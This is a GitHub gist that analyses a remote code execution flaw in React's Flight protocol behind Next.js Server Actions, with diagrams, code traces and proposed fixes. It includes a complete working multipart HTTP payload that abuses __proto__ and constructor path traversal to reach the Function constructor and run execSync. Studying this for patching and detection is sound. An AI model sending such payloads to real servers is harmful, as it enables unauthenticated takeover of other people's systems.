Skip to content

Instantly share code, notes, and snippets.

@HerringtonDarkholme
Last active December 5, 2025 08:07
Show Gist options
  • Select an option

  • Save HerringtonDarkholme/87f14efca45f7d38740be9f53849a89f to your computer and use it in GitHub Desktop.

Select an option

Save HerringtonDarkholme/87f14efca45f7d38740be9f53849a89f to your computer and use it in GitHub Desktop.
AI Slop NextJS RCE Write UP

Next.js Server Actions RCE Vulnerability Analysis

Executive Summary

This document analyzes a Remote Code Execution (RCE) vulnerability in React's Flight protocol, which powers Next.js Server Actions. The exploit chains three vulnerabilities:

  1. Unsanitized path traversal in reference resolution (__proto__, constructor access)
  2. Fake chunk injection - crafted objects treated as internal Chunk objects
  3. Function constructor injection - _formData.get replaced with Function

Table of Contents

  1. Introduction to React Server Actions
  2. The React Flight Protocol
  3. Payload Deserialization Deep Dive
  4. The Payload
  5. Detailed Code Path Analysis
  6. Visual Exploitation Flow
  7. Root Cause Summary
  8. Mitigation Recommendations

Introduction to React Server Actions

What Are Server Actions?

React Server Actions are a feature introduced in React 18 and fully integrated into Next.js 13+ App Router. They allow you to define server-side functions that can be called directly from client components without creating explicit API routes.

// app/actions.js
'use server'

export async function submitForm(formData) {
  const name = formData.get('name')
  await db.users.create({ name })
  return { success: true }
}
// app/page.jsx
import { submitForm } from './actions'

export default function Page() {
  return (
    <form action={submitForm}>
      <input name="name" />
      <button type="submit">Submit</button>
    </form>
  )
}

How Server Actions Work

When a Server Action is invoked:

┌─────────────────────────────────────────────────────────────────────────────┐
│                        SERVER ACTION FLOW                                   │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│   Client                           Network                      Server      │
│   ──────                           ───────                      ──────      │
│                                                                             │
│   1. User submits form                                                      │
│          │                                                                  │
│          ▼                                                                  │
│   2. React serializes                                                       │
│      arguments using              POST /                                    │
│      Flight protocol    ─────────────────────────────►  3. Next.js receives │
│                                   multipart/form-data       request         │
│                                   Next-Action: <id>              │          │
│                                                                  ▼          │
│                                                           4. Deserialize    │
│                                                              arguments      │
│                                                              using Flight   │
│                                                                  │          │
│                                                                  ▼          │
│                                                           5. Execute        │
│   7. React updates UI   ◄─────────────────────────────       Server Action  │
│      with result              Flight-encoded                     │          │
│                               response                           ▼          │
│                                                           6. Serialize      │
│                                                              return value   │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

The Next-Action Header

When a Server Action is called, Next.js sends a POST request with special headers:

POST /page HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary...
Next-Action: 1234567890abcdef        ← Server Action identifier
Next-Router-State-Tree: ...          ← Client router state

The Next-Action header tells the server which registered function to execute. The request body contains the serialized arguments.


The React Flight Protocol

Overview

The Flight protocol is React's custom serialization format for transferring React component trees and data between server and client. It's designed to handle:

  • React elements and components
  • Promises and async data
  • Circular references
  • Binary data (Blobs, TypedArrays)
  • Server References (functions that run on server)

Flight Protocol Architecture

┌─────────────────────────────────────────────────────────────────────────────┐
│                         FLIGHT PROTOCOL LAYERS                              │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│   ┌─────────────────────────────────────────────────────────────────────┐   │
│   │                     Application Layer                               │   │
│   │   Server Actions, React Server Components, Data Fetching            │   │
│   └─────────────────────────────────────────────────────────────────────┘   │
│                                    │                                        │
│                                    ▼                                        │
│   ┌─────────────────────────────────────────────────────────────────────┐   │
│   │                    Serialization Layer                              │   │
│   │                                                                     │   │
│   │   ReactFlightServer.js (Server → Client encoding)                   │   │
│   │   ReactFlightClient.js (Client → Server decoding)                   │   │
│   │   ReactFlightReplyServer.js (Client → Server reply decoding) ← VULN │   │
│   │   ReactFlightReplyClient.js (Server → Client reply encoding)        │   │
│   │                                                                     │   │
│   └─────────────────────────────────────────────────────────────────────┘   │
│                                    │                                        │
│                                    ▼                                        │
│   ┌─────────────────────────────────────────────────────────────────────┐   │
│   │                     Transport Layer                                 │   │
│   │   multipart/form-data, ReadableStream, fetch()                      │   │
│   └─────────────────────────────────────────────────────────────────────┘   │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

Flight Reference Types

The Flight protocol uses $ prefixed strings to encode special values that can't be represented in plain JSON:

Prefix Type Example Description
$$ Escaped $ "$$hello""$hello" Literal string starting with $
$@ Promise/Chunk "$@0" Reference to chunk ID 0
$F Server Reference "$F0" Server function reference
$T Temporary Ref "$T" Opaque temporary reference
$Q Map "$Q0" Map object at chunk 0
$W Set "$W0" Set object at chunk 0
$K FormData "$K0" FormData at chunk 0
$B Blob "$B0" Blob at chunk 0
$n BigInt "$n123" BigInt value
$D Date "$D2024-01-01" Date object
$N NaN "$N" NaN value
$I Infinity "$I" Infinity
$- -Infinity/-0 "$-I" or "$-0" Negative infinity or negative zero
$u undefined "$u" undefined value
$R ReadableStream "$R0" ReadableStream
$0-9a-f Chunk Reference "$1", "$a" Reference to chunk by hex ID

Chunk-Based Architecture

Flight organizes data into chunks - discrete units that can reference each other:

┌────────────────────────────────────────────────────────────────────────────┐
│                           CHUNK STRUCTURE                                  │
├────────────────────────────────────────────────────────────────────────────┤
│                                                                            │
│   FormData Fields:                                                         │
│   ┌──────────────────────────────────────────────────────────────────┐     │
│   │  Field "0":  '{"name": "John", "ref": "$1"}'     ← Chunk 0       │     │
│   │  Field "1":  '{"address": "123 Main St"}'        ← Chunk 1       │     │
│   │  Field "2":  '"$@0"'                             ← Chunk 2       │     │
│   └──────────────────────────────────────────────────────────────────┘     │
│                                                                            │
│   Resolution:                                                              │
│   ┌──────────────────────────────────────────────────────────────────┐     │
│   │  Chunk 0: {name: "John", ref: → Chunk 1}                         │     │
│   │  Chunk 1: {address: "123 Main St"}                               │     │
│   │  Chunk 2: Promise<Chunk 0>                                       │     │
│   └──────────────────────────────────────────────────────────────────┘     │
│                                                                            │
└────────────────────────────────────────────────────────────────────────────┘

The Chunk Object (Internal)

Internally, React represents chunks as objects with Promise-like behavior:

// From ReactFlightReplyServer.js (lines 118-123)
function Chunk(status, value, reason, response) {
  this.status = status;      // 'pending' | 'blocked' | 'resolved_model' | 'fulfilled' | 'rejected'
  this.value = value;        // The actual data or pending listeners
  this.reason = reason;      // Error reason or chunk ID
  this._response = response; // Parent Response object
}

// Chunks inherit from Promise.prototype
Chunk.prototype = Object.create(Promise.prototype);
Chunk.prototype.then = function(resolve, reject) { /* ... */ };

Path-Based References (The Vulnerability)

Flight supports nested property access using colon-separated paths:

"$0:users:0:name"
   │  │    │  │
   │  │    │  └── Property "name"
   │  │    └───── Array index 0
   │  └────────── Property "users"
   └───────────── Chunk ID 0

Resolution process:

// From getOutlinedModel() - lines 602-616
const path = reference.split(':');  // ["0", "users", "0", "name"]
const id = parseInt(path[0], 16);   // 0
const chunk = getChunk(response, id);

let value = chunk.value;
for (let i = 1; i < path.length; i++) {
  value = value[path[i]];  // Traverse: value["users"]["0"]["name"]
}

🔴 THE VULNERABILITY: No validation on property names allows:

  • $0:__proto__:then - Access prototype chain
  • $0:constructor:constructor - Access Function constructor

Payload Deserialization Deep Dive

This section traces exactly how the malicious payload is deserialized step-by-step. Click to see detailed code path analysis.

Step 1: HTTP Request Received

POST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model",...}
------Boundary
Content-Disposition: form-data; name="1"

"$@0"
------Boundary
Content-Disposition: form-data; name="2"

[]
------Boundary--

Step 2: FormData Parsing

Next.js parses the multipart body into a FormData object:

// Conceptual representation
formData = {
  "0": '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{...}}',
  "1": '"$@0"',
  "2": '[]'
}

Step 3: Response Object Creation

// ReactFlightActionServer.js:62-67
const actionResponse = createResponse(
  serverManifest,
  formFieldPrefix,    // e.g., "" or "$ACTION_0:"
  undefined,          // temporaryReferences
  body,               // The FormData
);

// Creates Response object (ReactFlightReplyServer.js:1091-1108)
response = {
  _bundlerConfig: serverManifest,
  _prefix: formFieldPrefix,      // Used to find chunks in FormData
  _formData: body,               // The raw FormData
  _chunks: new Map(),            // Parsed chunks cache
  _closed: false,
  _temporaryReferences: undefined,
}

Step 4: Root Chunk Retrieval

// ReactFlightActionServer.js:69-72
const refPromise = getRoot(actionResponse);

// getRoot returns chunk 0 (ReactFlightReplyServer.js:177-180)
function getRoot(response) {
  const chunk = getChunk(response, 0);  // Get chunk with ID 0
  return chunk;  // Returns as thenable (has .then method)
}

Step 5: Chunk Lookup from FormData

// getChunk (ReactFlightReplyServer.js:518-540)
function getChunk(response, id) {
  const chunks = response._chunks;
  let chunk = chunks.get(id);

  if (!chunk) {
    const prefix = response._prefix;
    const key = prefix + id;                        // "" + "0" = "0"
    const backingEntry = response._formData.get(key);  // Get field "0"

    if (backingEntry != null) {
      // Create chunk from the JSON string
      chunk = createResolvedModelChunk(response, backingEntry, id);
      // chunk.status = 'resolved_model'
      // chunk.value = '{"then":"$1:__proto__:then",...}'
      // chunk._response = response
    }
    chunks.set(id, chunk);
  }
  return chunk;
}

Step 6: Force Resolution via .then()

// ReactFlightActionServer.js:75
refPromise.then(() => {});  // Triggers Chunk.prototype.then

Step 7: Chunk.prototype.then Execution

// ReactFlightReplyServer.js:127-165
Chunk.prototype.then = function(resolve, reject) {
  const chunk = this;

  switch (chunk.status) {
    case 'resolved_model':          // Our chunk matches this!
      initializeModelChunk(chunk);  // Parse the JSON
      break;
  }

  switch (chunk.status) {
    case 'fulfilled':
      resolve(chunk.value);         // Return parsed value
      break;
  }
}

Step 8: Model Initialization (JSON Parsing)

// initializeModelChunk (ReactFlightReplyServer.js:446-501)
function initializeModelChunk(chunk) {
  const resolvedModel = chunk.value;
  // = '{"then":"$1:__proto__:then","status":"resolved_model",...}'

  const rawModel = JSON.parse(resolvedModel);
  // = {then: "$1:__proto__:then", status: "resolved_model", ...}

  const value = reviveModel(
    chunk._response,      // The Response object
    {'': rawModel},       // Wrapper object
    '',                   // Key
    rawModel,             // The parsed JSON
    rootReference         // Reference path
  );
}

Step 9: Recursive Revival (Property Processing)

// reviveModel (ReactFlightReplyServer.js:386-442)
function reviveModel(response, parentObj, parentKey, value, reference) {
  if (typeof value === 'string') {
    // Handle $-prefixed special values
    return parseModelString(response, parentObj, parentKey, value, reference);
  }

  if (typeof value === 'object' && value !== null) {
    // Recursively process all properties
    for (const key in value) {
      const newValue = reviveModel(
        response, value, key, value[key], childRef
      );
      value[key] = newValue;  // Replace with resolved value
    }
  }
  return value;
}

Step 10: Processing $1:__proto__:then

When reviving the then property with value "$1:__proto__:then":

// parseModelString (ReactFlightReplyServer.js:916-1089)
function parseModelString(response, obj, key, value, reference) {
  if (value[0] === '$') {
    // ... various $X cases ...

    // Default: treat as chunk reference with path
    const ref = value.slice(1);  // "1:__proto__:then"
    return getOutlinedModel(response, ref, obj, key, createModel);
  }
}

Step 11: Path Traversal (THE VULNERABILITY)

// getOutlinedModel (ReactFlightReplyServer.js:595-638)
function getOutlinedModel(response, reference, parentObject, key, map) {
  const path = reference.split(':');  // ["1", "__proto__", "then"]
  const id = parseInt(path[0], 16);   // 1
  const chunk = getChunk(response, id);  // Get chunk 1

  // Chunk 1 contains "$@0" - a reference to chunk 0
  // After resolution, chunk1.value = chunk0 (the Chunk object)

  switch (chunk.status) {
    case 'fulfilled':
      let value = chunk.value;        // The Chunk object for chunk 0

      for (let i = 1; i < path.length; i++) {
        value = value[path[i]];       // 🔴 NO SANITIZATION!
      }
      // path[1] = "__proto__"  →  value = Chunk.prototype
      // path[2] = "then"       →  value = Chunk.prototype.then (FUNCTION!)

      return map(response, value);    // Returns the .then function
  }
}

Step 12: Result of Deserialization

After all processing, the payload object becomes:

{
  then: Chunk.prototype.then,  // 🔴 STOLEN FUNCTION!
  status: "resolved_model",
  reason: -1,
  value: '{"then":"$B1337"}',
  _response: {
    _prefix: "process.mainModule.require('child_process').execSync('say haha');",
    _chunks: Map,              // From $Q2
    _formData: {
      get: Function            // 🔴 FUNCTION CONSTRUCTOR! (from $1:constructor:constructor)
    }
  }
}

Deserialization Summary Diagram

┌─────────────────────────────────────────────────────────────────────────────┐
│                    DESERIALIZATION FLOW                                     │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│   HTTP Request                                                              │
│        │                                                                    │
│        ▼                                                                    │
│   ┌─────────────────────────────────────────────────────────────────────┐   │
│   │ FormData Parsing                                                    │   │
│   │   "0" → '{"then":"$1:__proto__:then",...}'                          │   │
│   │   "1" → '"$@0"'                                                     │   │
│   │   "2" → '[]'                                                        │   │
│   └─────────────────────────────────────────────────────────────────────┘   │
│        │                                                                    │
│        ▼                                                                    │
│   ┌──────────────────────────────────────────────────────────────────────┐  │
│   │ createResponse()                                                     │  │
│   │   response._formData = FormData                                      │  │
│   │   response._chunks = Map()                                           │  │
│   └──────────────────────────────────────────────────────────────────────┘  │
│        │                                                                    │
│        ▼                                                                    │
│   ┌──────────────────────────────────────────────────────────────────────┐  │
│   │ getRoot() → getChunk(response, 0)                                    │  │
│   │   Creates ResolvedModelChunk from field "0"                          │  │
│   └──────────────────────────────────────────────────────────────────────┘  │
│        │                                                                    │
│        ▼                                                                    │
│   ┌──────────────────────────────────────────────────────────────────────┐  │
│   │ chunk.then(() => {})   ← Trigger point                               │  │
│   │   └── initializeModelChunk(chunk)                                    │  │
│   │         └── JSON.parse(chunk.value)                                  │  │
│   │         └── reviveModel(response, {...}, ...)                        │  │
│   └──────────────────────────────────────────────────────────────────────┘  │
│        │                                                                    │
│        ▼                                                                    │
│   ┌──────────────────────────────────────────────────────────────────────┐  │
│   │ reviveModel() - For each property:                                   │  │
│   │                                                                      │  │
│   │   "then": "$1:__proto__:then"                                        │  │
│   │      └── parseModelString()                                          │  │
│   │            └── getOutlinedModel("1:__proto__:then")                  │  │
│   │                  └── path = ["1", "__proto__", "then"]               │  │
│   │                  └── chunk1 = getChunk(1)  // "$@0" → chunk0         │  │
│   │                  └── value = chunk0["__proto__"]["then"]             │  │
│   │                  └── returns Chunk.prototype.then  🔴                │  │
│   │                                                                      │  │
│   │   "_formData.get": "$1:constructor:constructor"                      │  │
│   │      └── path = ["1", "constructor", "constructor"]                  │  │
│   │      └── value = Object.constructor = Function  🔴                   │  │
│   │                                                                      │  │
│   └──────────────────────────────────────────────────────────────────────┘  │
│        │                                                                    │
│        ▼                                                                    │
│   ┌──────────────────────────────────────────────────────────────────────┐  │
│   │ RESULT: Malicious object with:                                       │  │
│   │   - then = Chunk.prototype.then (makes it thenable)                  │  │
│   │   - _response._formData.get = Function constructor                   │  │
│   │   - _response._prefix = malicious code string                        │  │
│   └──────────────────────────────────────────────────────────────────────┘  │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

The Payload

POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('say haha');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Payload Structure Breakdown

Field Value Purpose
0 Main JSON payload Fake Chunk object with malicious _response
1 "$@0" Promise reference creating circular dependency
2 [] Empty array placeholder for Map reference

Main Payload Object

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "process.mainModule.require('child_process').execSync('say haha');",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

Detailed Code Path Analysis

Phase 1: Entry Point

File: packages/react-server/src/ReactFlightActionServer.js

POST / → decodeAction() → decodeBoundActionMetaData()
                              ↓
                         createResponse(serverManifest, formFieldPrefix, undefined, body)
                              ↓
                         getRoot(actionResponse)  // Returns chunk 0 as thenable
                              ↓
                         refPromise.then(() => {})  // LINE 75 - Forces resolution

Code (lines 56-81):

function decodeBoundActionMetaData(body, serverManifest, formFieldPrefix) {
  const actionResponse = createResponse(
    serverManifest,
    formFieldPrefix,
    undefined,
    body,
  );
  close(actionResponse);
  const refPromise = getRoot(actionResponse);

  // Force it to initialize
  refPromise.then(() => {});  // ← TRIGGER POINT

  if (refPromise.status !== 'fulfilled') {
    throw refPromise.reason;
  }
  return refPromise.value;
}

At line 75, .then() is called on the root chunk, triggering the exploit chain.


Phase 2: Chunk Resolution & Prototype Access

File: packages/react-server/src/ReactFlightReplyServer.js

Code (lines 127-143):

Chunk.prototype.then = function(resolve, reject) {
  const chunk = this;
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);  // LINE 137 - Triggers parsing
      break;
  }
  // The status might have changed after initialization.
  switch (chunk.status) {
    case INITIALIZED:
      resolve(chunk.value);  // LINE 143 - Passes value to Promise chain
      break;
    // ...
  }
}

When chunk 0 (containing the payload) is resolved:

  1. initializeModelChunk parses the JSON
  2. reviveModel processes all properties recursively

Phase 3: The Critical Vulnerability - Path Traversal

File: packages/react-server/src/ReactFlightReplyServer.js

Code (lines 595-616):

function getOutlinedModel(response, reference, parentObject, key, map) {
  const path = reference.split(':');  // "1:__proto__:then" → ["1", "__proto__", "then"]
  const id = parseInt(path[0], 16);
  const chunk = getChunk(response, id);

  // ... chunk initialization ...

  switch (chunk.status) {
    case INITIALIZED:
      let value = chunk.value;
      for (let i = 1; i < path.length; i++) {
        value = value[path[i]];  // LINE 614-615: NO SANITIZATION!
      }
      return map(response, value);
  }
}

Vulnerability

The colon-separated path allows accessing ANY property including:

  • __proto__ - prototype chain access
  • constructor - access to constructors

No validation exists to prevent dangerous property access.


Phase 4: Stealing Chunk.prototype.then

When $1:__proto__:then is resolved:

$1:__proto__:then
    ↓
path = ["1", "__proto__", "then"]
    ↓
chunk1 = getChunk(response, 1)  // Contains "$@0"
    ↓
"$@0" resolves to chunk0 (the Chunk object itself)
    ↓
value = chunk0["__proto__"]     // = Chunk.prototype (inherits from Promise.prototype)
    ↓
value = value["then"]           // = Chunk.prototype.then FUNCTION

Result: The payload's then property now holds Chunk.prototype.then, making the payload object a thenable.


Phase 5: Getting the Function Constructor

When $1:constructor:constructor is resolved:

$1:constructor:constructor
    ↓
path = ["1", "constructor", "constructor"]
    ↓
chunk1.value = chunk0 (the parsed object)
    ↓
value = chunk0["constructor"]    // = Object
    ↓
value = Object["constructor"]    // = Function constructor

Result: _formData.get property becomes the Function constructor.


Phase 6: Fake Chunk Processed as Real Chunk

File: packages/react-server/src/ReactFlightReplyServer.js

Code (lines 135-137):

switch (chunk.status) {
  case RESOLVED_MODEL:         // Payload has status: "resolved_model"
    initializeModelChunk(chunk);  // Called with PAYLOAD as "chunk"!

The payload mimics a Chunk structure perfectly:

Chunk Property Payload Value Purpose
status "resolved_model" Matches RESOLVED_MODEL constant
value "{\"then\":\"$B1337\"}" Inner payload to parse
reason -1 Mimics chunk ID
_response {...malicious...} Injected malicious response

Phase 7: Malicious Response Injection

File: packages/react-server/src/ReactFlightReplyServer.js

Code (lines 446-474):

function initializeModelChunk(chunk) {
  // ...
  const resolvedModel = chunk.value;     // = "{\"then\":\"$B1337\"}"
  // ...
  const rawModel = JSON.parse(resolvedModel);

  const value = reviveModel(
    chunk._response,  // ← USES THE FAKE _response!
    {'': rawModel},
    '',
    rawModel,
    rootReference,
  );
}

The fake _response contains:

{
  "_prefix": "process.mainModule.require('child_process').execSync('say haha');",
  "_formData": {"get": Function}  // Already resolved to Function constructor!
}

Critical Issue: No validation that chunk._response is a legitimate Response object.


Phase 8: Code Execution via $B Reference

File: packages/react-server/src/ReactFlightReplyServer.js

Code (lines 1059-1067):

case 'B': {  // Blob reference
  const id = parseInt(value.slice(2), 16);  // 0x1337 = 4919
  const prefix = response._prefix;           // MALICIOUS CODE STRING
  const blobKey = prefix + id;               // "process.mainModule...execSync('say haha');4919"

  const backingEntry = response._formData.get(blobKey);  // Function(blobKey)!
  return backingEntry;
}

Execution Flow

response._formData.get(blobKey)
    
// _formData.get has been replaced with Function constructor
Function("process.mainModule.require('child_process').execSync('say haha');4919")
    
// Returns a Function object with body:
function anonymous() {
  process.mainModule.require('child_process').execSync('say haha');
  4919
}

Phase 9: Final Trigger - RCE

The returned Function becomes the then property of the inner object {then: <Function>}.

When Promise resolution encounters this thenable:

// JavaScript Promise machinery:
if (typeof value.then === 'function') {
  value.then(resolve, reject);  // CALLS THE MALICIOUS FUNCTION!
}

Calling the function executes:

process.mainModule.require('child_process').execSync('say haha')

🔴 RCE ACHIEVED.


Visual Exploitation Flow

┌───────────────────────────────────────────────────────────────────────┐
│                         PAYLOAD STRUCTURE                             │
├───────────────────────────────────────────────────────────────────────┤
│ Field "0": {                                                          │
│   "then": "$1:__proto__:then",     ──────► Steals Chunk.prototype.then│
│   "status": "resolved_model",       ──────► Mimics Chunk              │
│   "value": "{\"then\":\"$B1337\"}", ──────► Inner payload             │
│   "_response": {                                                      │
│     "_prefix": "execSync('say haha');",  ──► Code to execute          │
│     "_formData": {"get": "$1:constructor:constructor"}  ──► Function  │
│   }                                                                   │
│ }                                                                     │
│                                                                       │
│ Field "1": "$@0"   ──────► Creates circular reference to Field 0      │
│ Field "2": "[]"    ──────► Empty array placeholder                    │
└───────────────────────────────────────────────────────────────────────┘

                              ▼

┌─────────────────────────────────────────────────────────────────────┐
│                         EXPLOITATION CHAIN                          │
├─────────────────────────────────────────────────────────────────────┤
│  1. Server receives POST with Next-Action header                    │
│  2. decodeAction() → getRoot() → .then() called (line 75)           │
│  3. $1:__proto__:then → Chunk.prototype.then stolen                 │
│  4. $1:constructor:constructor → Function constructor obtained      │
│  5. Payload object becomes thenable (has .then method)              │
│  6. Promise resolves payload → treats as Chunk → initializeModelChunk
│  7. Uses FAKE _response with malicious _prefix and _formData.get    │
│  8. $B1337 → Function("malicious code") called                      │
│  9. Returned function used as .then() → EXECUTED                    │
│ 10. RCE: process.mainModule.require('child_process').execSync()     │
└─────────────────────────────────────────────────────────────────────┘

Sequence Diagram

┌──────────┐     ┌──────────────┐     ┌─────────────────┐     ┌──────────────┐
│  Client  │     │ decodeAction │     │ getOutlinedModel│     │ parseModelStr│
└────┬─────┘     └──────┬───────┘     └────────┬────────┘     └──────┬───────┘
     │                  │                      │                     │
     │ POST /           │                      │                     │
     │ Next-Action: x   │                      │                     │
     │ FormData         │                      │                     │
     │─────────────────>│                      │                     │
     │                  │                      │                     │
     │                  │ createResponse()     │                     │
     │                  │─────────────────────>│                     │
     │                  │                      │                     │
     │                  │ getRoot().then()     │                     │
     │                  │─────────────────────>│                     │
     │                  │                      │                     │
     │                  │                      │ resolve "$1:__proto__:then"
     │                  │                      │────────────────────>│
     │                  │                      │                     │
     │                  │                      │ path traversal      │
     │                  │                      │ value[__proto__][then]
     │                  │                      │<────────────────────│
     │                  │                      │                     │
     │                  │                      │ Returns Chunk.prototype.then
     │                  │                      │                     │
     │                  │ Fake chunk.then() called                   │
     │                  │ with malicious _response                   │
     │                  │─────────────────────────────────────────────>
     │                  │                      │                     │
     │                  │                      │ resolve "$B1337"    │
     │                  │                      │────────────────────>│
     │                  │                      │                     │
     │                  │                      │ Function(malicious_code)
     │                  │                      │<────────────────────│
     │                  │                      │                     │
     │                  │ Promise resolves with {then: Function}     │
     │                  │ JavaScript calls .then() → EXECUTES CODE   │
     │                  │                      │                     │
     │  💥 RCE          │                      │                     │
     │<─────────────────│                      │                     │

Root Cause Summary

Location Line Vulnerability
ReactFlightReplyServer.js 614-615 Unsanitized property path traversal allows __proto__ and constructor access
ReactFlightReplyServer.js 137 Fake objects with matching status property processed as real Chunks
ReactFlightReplyServer.js 468-474 chunk._response used without validating it's a legitimate Response
ReactFlightReplyServer.js 1066 _formData.get() called without verifying it's the real FormData method

Attack Prerequisites

  1. Next.js application with Server Actions enabled (default in App Router)
  2. Accessible Server Action endpoint (any route with "use server")
  3. No additional input validation on the server action

Impact

  • Full Remote Code Execution on the server
  • No authentication required - exploitable by any client
  • Affects all Next.js versions using vulnerable React Flight protocol

Mitigation Recommendations

Immediate

  1. Upgrade React/Next.js to patched versions
  2. Implement WAF rules to block malicious Flight protocol payloads
  3. Monitor for exploitation attempts - look for __proto__ or constructor in request bodies

Long-term

  1. Sanitize path traversal - block dangerous property names:

    const BLOCKED_PROPS = ['__proto__', 'constructor', 'prototype'];
    if (BLOCKED_PROPS.includes(path[i])) {
      throw new Error('Invalid property access');
    }
  2. Validate chunk objects - ensure _response is a legitimate Response:

    if (!(chunk._response instanceof Response)) {
      throw new Error('Invalid chunk response');
    }
  3. Type-check _formData.get - verify it's the real FormData method:

    if (typeof response._formData.get !== 'function' ||
        response._formData.get !== FormData.prototype.get) {
      throw new Error('Invalid FormData');
    }

References

  • React Flight Protocol Source: packages/react-server/src/ReactFlightReplyServer.js
  • Server Actions Entry: packages/react-server/src/ReactFlightActionServer.js
  • Related CVEs: CVE-2024-34351 (SSRF), and subsequent RCE variants

Disclaimer

This analysis is provided for educational and defensive security purposes only. The information should be used to understand, detect, and prevent exploitation of this vulnerability class.

@HerringtonDarkholme
Copy link
Author

HerringtonDarkholme commented Dec 5, 2025

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment